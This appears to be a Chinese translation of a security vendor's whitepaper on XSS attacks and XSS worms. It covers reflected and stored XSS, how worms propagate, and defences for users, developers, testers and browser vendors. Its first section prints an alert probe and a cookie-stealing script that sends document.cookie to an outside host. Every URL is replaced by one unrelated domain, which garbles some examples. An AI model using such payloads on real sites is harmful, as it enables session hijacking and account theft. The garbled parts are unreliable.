一.非持久型 XSS (也叫反射型 XSS)
想想看,一個(gè)黑客想使用“http://www.tjdsmy.cn/”網(wǎng)站對(duì)用戶進(jìn)行 XSS 攻擊。黑客會(huì)采取的第一個(gè)步驟是在 http://www.tjdsmy.cn/
找出一個(gè) XSS 漏洞,然后構(gòu)造一個(gè)特制的 URL,也被稱為鏈接。要做到這一點(diǎn),黑客會(huì)搜尋網(wǎng)站上的客戶端提供的數(shù)
據(jù)可以被發(fā)送到 Web 服務(wù)器,然后回顯到屏幕上的任何功能,比如搜索框。
圖一展現(xiàn)的是一種常見的在線發(fā)布的博客。XSS 漏洞往往出現(xiàn)在搜索框表單。在搜索字段中輸入“test search”,
響應(yīng)頁面將用戶輸入的文本在顯示在三個(gè)不同的位置,如圖 2 所示。圖下方是新的 URL。查詢字符串中包含值為
“test+search”的“search”參數(shù)。這個(gè) URL 值可以在運(yùn)行時(shí)更改,甚至包括 HTML / JavaScript 的內(nèi)容。

圖 1,http://www.tjdsmy.cn/
圖 2,http://www.tjdsmy.cn/search.pl?search=test+search
圖 3
圖 3 展示了原來的搜索詞被替換為下面的 HTML / JavaScript 代碼時(shí)會(huì)發(fā)生什么:
Example 1.
”><SCRIPT>alert(‘XSS%20Testing’)</SCRIPT>
結(jié)果頁面彈出了一個(gè)無害的警告對(duì)話框。根據(jù)提示,提交的代碼已經(jīng)成為 web 頁面的一部分,證明了 JavaScript
已進(jìn)入到 http://www.tjdsmy.cn/的上下文并得到執(zhí)行。
圖 4 展示了夾雜有新的 HTML/ JavaScript 代碼的 Web 頁面的 HTML 源代

此時(shí),黑客將會(huì)繼續(xù)修改這個(gè) URL,包含更復(fù)雜的 XSS 攻擊來利用用戶。一個(gè)典型的例子是一個(gè)簡單的 cookie 盜
竊的攻擊。
Example 2.
“><SCRIPT>var+img=new+Image();img.src=”http://www.tjdsmy.cn /”%20+%20document.cookie;</SCRIPT>
前面的 JavaScript 代碼創(chuàng)建一個(gè)圖像 DOM(文檔對(duì)象模型)對(duì)象。
var img=new Image();
因?yàn)?/span> JavaScript 代碼在“http://www.tjdsmy.cn/”上下文中執(zhí)行,所以它可以訪問 cookie 數(shù)據(jù)。
document.cookie;
圖形對(duì)象然后指派一個(gè)外域的 URL 發(fā)送帶有 Web 瀏覽器的 Cookie 字符串的數(shù)據(jù)到“http://www.tjdsmy.cn/”。
img.src=”http://www.tjdsmy.cn /” + document.cookie;
下面是一個(gè)例子,是一個(gè)被發(fā)送的 HTTP 請(qǐng)求。
Example 3.
GET http://www.tjdsmy.cn/path/_web_browser_cookie_data HTTP/1.1
Host: host
User-Agent: Firefox/1.5.0.1
Content-length: 0
一旦黑客完成了他的攻擊代碼,他會(huì)通過垃圾郵件,留言板的帖子,即時(shí)消息和其他方法宣傳這種特制的鏈接,
試圖吸引用戶點(diǎn)擊。是什么讓這種攻擊這么有效?用戶可能點(diǎn)擊正常的網(wǎng)絡(luò)釣魚郵件 7 中的鏈接是因?yàn)檫@個(gè) URL 包
含了真正的網(wǎng)站域名,而不是一種外觀相似的域名或隨機(jī)的 IP 地址。應(yīng)當(dāng)注意的是,過長的 XSS 鏈接可以使用 URL
縮短服務(wù),如 TinyURL.com 進(jìn)行偽裝。
二.持久型 XSS (也叫存儲(chǔ)型 XSS)
持久型(或 HTML 注入型)XSS 攻擊最常發(fā)生在由社區(qū)內(nèi)容驅(qū)動(dòng)的網(wǎng)站或 Web 郵件網(wǎng)站,不需要特制的鏈接來
執(zhí)行。黑客僅僅需要提交 XSS 漏洞利用代碼到一個(gè)網(wǎng)站上其他用戶可能訪問的地方。這些地區(qū)可能是博客評(píng)論,用戶
評(píng)論,留言板,聊天室,HTML 電子郵件,wikis,和其他的許多地方。一旦用戶訪問受感染的網(wǎng)頁,執(zhí)行是自動(dòng)的。
這使得持續(xù)性的 XSS 的危險(xiǎn)性比非持久性高,因?yàn)橛脩魶]有辦法保護(hù)自己。一旦黑客成功在某個(gè)頁面注入了漏洞利
用代碼,他將宣傳受感染頁面的 URL 來希望不知情的用戶中招。即使用戶對(duì)非持續(xù)性 XSS 的 URL 懂得識(shí)別,也會(huì)很
容易的受到影響(譯者:中招)。
無論使用非持續(xù)性或持續(xù)性的 XSS 漏洞,黑客可以利用用戶,導(dǎo)致網(wǎng)絡(luò)和財(cái)務(wù)上的損失,有許多的方法。
從這點(diǎn)出發(fā),我們將專注于的 XSS 病毒和蠕蟲的攻擊技術(shù)。欲了解更多 XSS 信息,請(qǐng)?jiān)L問“跨站腳本常見問題
解答 8”和“XSS 小抄 9” ,兩個(gè)優(yōu)秀的信息資源。
他們是怎么做的:傳播的方法
對(duì)于一個(gè)病毒或蠕蟲想要成功,它需要一個(gè)執(zhí)行和傳播的方法。電子郵件病毒通常在鼠標(biāo)點(diǎn)擊后執(zhí)行,然后通過
您的聯(lián)系人列表來發(fā)送帶有惡意軟件的的郵件進(jìn)行傳播。網(wǎng)絡(luò)蠕蟲利用遠(yuǎn)程利用漏洞危害機(jī)器和并且通過連接到其他
存在漏洞的主機(jī)進(jìn)行傳播。除傳播之外,蠕蟲病毒還是高度多樣化,包括創(chuàng)造 DDoS 僵尸網(wǎng)絡(luò),垃圾郵件僵尸,或遠(yuǎn)
程鍵盤監(jiān)控的能力。XSS 蠕蟲與其他形式的惡意軟件相似,但以自己獨(dú)特的方式執(zhí)行和傳播。使用一個(gè)網(wǎng)站來存放惡
意代碼,XSS 蠕蟲和病毒通過控制 Web 瀏覽器,使得它復(fù)制惡意軟件到網(wǎng)絡(luò)上的其他地方去感染別人來進(jìn)行傳播。例
如,一個(gè)含有惡意軟件的博客評(píng)論,可以使用訪問者的瀏覽器發(fā)布額外的感染性的博客評(píng)論。XSS 蠕蟲病毒可能會(huì)使
得瀏覽器進(jìn)行發(fā)送電子郵件,轉(zhuǎn)賬,刪除/修改數(shù)據(jù),入侵其他網(wǎng)站,下載非法內(nèi)容,以及許多其他形式的惡意活動(dòng)。
用最簡單的方式去理解,就是如果沒有適當(dāng)?shù)姆烙?,在網(wǎng)站上的任何功能都可以在未經(jīng)用戶許可的情況下運(yùn)行。
在最后一節(jié)中,我們將重點(diǎn)放在 XSS 漏洞本身,以及用戶可以怎么樣被利用。現(xiàn)在,我們來看 XSS 惡意軟件是如
何可以進(jìn)行遠(yuǎn)程通信。XSS 漏洞利用代碼,通常是 HTML / JavaScript,使用三種方式使得瀏覽器發(fā)送遠(yuǎn)程 HTTP 請(qǐng)求的
瀏覽器:嵌入式的 HTML 標(biāo)簽,JavaScript DOM 的對(duì)象,XMLHTTPRequest(XHR)。
另外,請(qǐng)記住,如果你碰巧登錄到遠(yuǎn)程網(wǎng)站,您的瀏覽器是被迫作出的身份驗(yàn)證的請(qǐng)求的。關(guān)于 XSS 惡意軟件的
傳播方法與傳統(tǒng)互聯(lián)網(wǎng)病毒的明顯差異將會(huì)進(jìn)行簡要說明。
嵌入式 HTML 標(biāo)簽
一些 HTML 標(biāo)簽具有在頁面加載時(shí)會(huì)自動(dòng)發(fā)起 Web 瀏覽器的 HTTP 請(qǐng)求的屬性。有一個(gè)例子是 IMG(圖像)的
SRC 屬性。SRC 屬性用于指定在 Web 頁面中顯示的圖像文件的 URL 地址。當(dāng)你的瀏覽器載入帶有 IMG 標(biāo)簽的網(wǎng)頁,
圖像會(huì)自動(dòng)被請(qǐng)求,并在瀏覽器中顯示。但是,SRC 屬性也可以被用于任何 Web 服務(wù)器的其他 URL,不僅僅是包含圖
像的。
例如,如果我們進(jìn)行了谷歌搜索“WhiteHat Security”我們最終得到了下面的 URL:
http://www.tjdsmy.cn/search?hl=en&q=whitehat+security&btnG=Google+Search
這個(gè) URL 可以很容易地取代 IMG 內(nèi)的 SRC 屬性的值,從而迫使您的 Web 瀏覽器中執(zhí)行相同的谷歌搜索。
<img src=”http://www.tjdsmy.cn/search?hl=en&q=whitehat+security&btnG=Google+ Search”>
顯然使得 Web 瀏覽器發(fā)送一個(gè)谷歌搜索請(qǐng)求是沒有什么危害性的。然而,URL 構(gòu)建的同樣的過程可以用來使得
Web 瀏覽器自動(dòng)進(jìn)行銀行賬戶資金的匯款,發(fā)表煽動(dòng)性言論,甚至入侵網(wǎng)站。這一點(diǎn)可以說明,這是一個(gè)迫使一個(gè)
Web 瀏覽器連接到其他網(wǎng)站,使的 XSS 蠕蟲病毒傳播的機(jī)制。
額外的源碼例子可見“嵌入式 HTML 標(biāo)簽”的附錄部分。
JavaScript 和文檔對(duì)象模型
JavaScript 被用于給網(wǎng)站訪問者一個(gè)豐富的、交互式的體驗(yàn)。這些網(wǎng)頁更接近于一個(gè)軟件應(yīng)用程序,而不是一個(gè)
靜態(tài)的 HTML 文檔。我們常會(huì)看到 JavaScript 被用于進(jìn)行圖像的翻轉(zhuǎn),動(dòng)態(tài)表單輸入檢查,彈出對(duì)話框,下拉菜單,
拖動(dòng)和拖放等。JavaScript 有接近完全的對(duì)網(wǎng)站上的每一個(gè)對(duì)象,包括圖像,cookies,窗口,框架和文本內(nèi)容的訪問。
這些對(duì)象中的每一個(gè)都是文檔對(duì)象模型(DOM)的一部分。
DOM 提供了一系列 JavaScript 讀取和操作的應(yīng)用程序編程接口(API)。類似嵌入式 HTML 標(biāo)簽的功能,JavaScript
可以操縱 DOM 對(duì)象自動(dòng)發(fā)起 Web 瀏覽器的 HTTP 請(qǐng)求。圖像和窗口的源 URL 可以被重新指定為其他 URL 的。
在上一節(jié)中,我們可以使用 JavaScript 來改變圖像的 DOM 對(duì)象 SRC 進(jìn)行谷歌搜索“WhiteHat Security”。
img[0].src = http://www.tjdsmy.cn/search?hl=en&q=whitehat+security&btnG=Google+ Search;
正如上一節(jié)中,迫使 Web 瀏覽器連接到其他網(wǎng)站發(fā)送一個(gè)谷歌搜索請(qǐng)求是一種無害的例子。但這也說明了 XSS
惡意軟件傳播的另一種方法。
額外的源碼例子可見“JavaScript DOM 對(duì)象”的附錄部分。
XmlHttpRequest (XHR)
三.最好的防御
在過去超過十年的時(shí)間里,反病毒界一直依賴于快速的反應(yīng)時(shí)間來限制蠕蟲和病毒所造成的損害。隨著新一代
的惡意軟件的飛速發(fā)展,在事件被穩(wěn)定前,可能會(huì)損失數(shù)百萬,甚至數(shù)十億美元。這種情況要求我們將采取步驟,
確定疫情的發(fā)生和防止問題的發(fā)生放在第一位。以下是為了限制這些新品種的病毒和蠕蟲的影響而為用戶,開發(fā)人
員,安全專家和瀏覽器廠商提供的明確的步驟:
用戶
1. 點(diǎn)擊鏈接發(fā)送電子郵件或即時(shí)消息時(shí)一定要謹(jǐn)慎。可疑的過長鏈接,尤其是那些看起來像是包含 HTML 代碼
的鏈接。如果有疑問,手動(dòng)輸入網(wǎng)址到您的瀏覽器地址欄進(jìn)行訪問。
2. 對(duì)于 XSS 漏洞,沒有網(wǎng)絡(luò)瀏覽器有一個(gè)明顯的安全優(yōu)勢(shì)。話雖如此,但作者喜歡 Firefox 瀏覽器。為了獲得
額外的安全性,可以考慮安裝一些瀏覽器插件,如 NoScript25(Firefox 擴(kuò)展插件)或 Netcraft 工具欄 26。
3. 雖然不是 100%有效,但是避開可疑網(wǎng)站,如那些提供黑客自動(dòng)化工具,warez,或色情的網(wǎng)站是明智的。
開發(fā)者
1. 對(duì)于開發(fā)人員來說,首先需要注意的是應(yīng)該對(duì)所有用戶提交的內(nèi)容執(zhí)行堅(jiān)如磐石輸入驗(yàn)證。這包括網(wǎng)址,查
詢字符串,header,POST 數(shù)據(jù)等所有用戶提交的內(nèi)容。只接受您所希望的字符,在您指定的長度內(nèi),和指定
的相應(yīng)的數(shù)據(jù)的格式。組織,過濾,或忽略一切。
2. 保護(hù)被自動(dòng)執(zhí)行或來自第三方網(wǎng)站執(zhí)行的所有敏感功能。在適當(dāng)?shù)那闆r使用會(huì)話令牌 27、驗(yàn)證碼 28系統(tǒng)或者
HTTP 引用頭檢查。
3. 如果您的網(wǎng)站必須支持用戶提供的 HTML,那么你是處在一個(gè)安全明智的下滑坡。然而,也有一些事情可以
做,來保護(hù)您的網(wǎng)站。請(qǐng)確保您收到的 HTML 內(nèi)容是良好的,只包含最少的一組安全標(biāo)簽(絕對(duì)沒有 JavaScript),
沒有包含任何引用遠(yuǎn)程的內(nèi)容(尤其是樣式表和 JavaScript)。而且,為了多一點(diǎn)的安全性,請(qǐng)將 httpOnly29添
加到您的 cookie
安全專家
1. 只有一種方法才能確定您的安全做法提供了足夠的保障,那就是經(jīng)常測(cè)試他們。在黑客攻擊網(wǎng)站前了解你的
漏洞是是至關(guān)重要的。要做到這一點(diǎn),網(wǎng)站的脆弱性評(píng)估是要進(jìn)行的。報(bào)告應(yīng)提供一個(gè)對(duì)您的網(wǎng)站的安全的
全面的審視,并描述他們?nèi)绾螒?yīng)對(duì)和進(jìn)行模擬攻擊。WhiteHat Security 提供了一個(gè)以 Web 安全威脅分類(WASC)
為測(cè)試標(biāo)準(zhǔn)的自動(dòng)化的漏洞掃描與專家驅(qū)動(dòng)分析的組合方法。
2. 正確地評(píng)估一個(gè)網(wǎng)站的安全性可能需要幾十個(gè),數(shù)以百計(jì),數(shù)以千計(jì)的安全測(cè)試。許多需要手工完成。這就
是為什么 WhiteHat 的 Sentinel 在這樣的服務(wù)的過程中是一個(gè)重要組成部分。源代碼和黑盒子掃描產(chǎn)品可以減
少人員在開發(fā)階段中測(cè)試 Web 應(yīng)用程序的時(shí)間。
3. 當(dāng)您的網(wǎng)站絕對(duì)沒有任何問題了,考慮 Web 應(yīng)用防火墻(WAF)作為一個(gè)額外的防御層。它們可以用來配置
用您的網(wǎng)站的規(guī)則并強(qiáng)有力的執(zhí)行。任何超出規(guī)則外的行為將被阻止或者記錄。由于這些設(shè)備大多是高度多
樣化和復(fù)雜,可以考慮使用 Web 應(yīng)用防火墻評(píng)價(jià)標(biāo)準(zhǔn)(WAFEC)作為比較的工具。
瀏覽器廠商
1. Mozilla(火狐),微軟和 Opera 開發(fā)團(tuán)隊(duì)必須開始正式實(shí)施內(nèi)容限制?,F(xiàn)實(shí)的情況是,等待 Web 應(yīng)用軟件減
少 XSS 漏洞的任何一種方法都是是不現(xiàn)實(shí)的,更不用說減少了 100%。
2. Mozilla(Firefox)開發(fā)者,請(qǐng)執(zhí)行 httpOnly,它已經(jīng)出現(xiàn)這么多年了。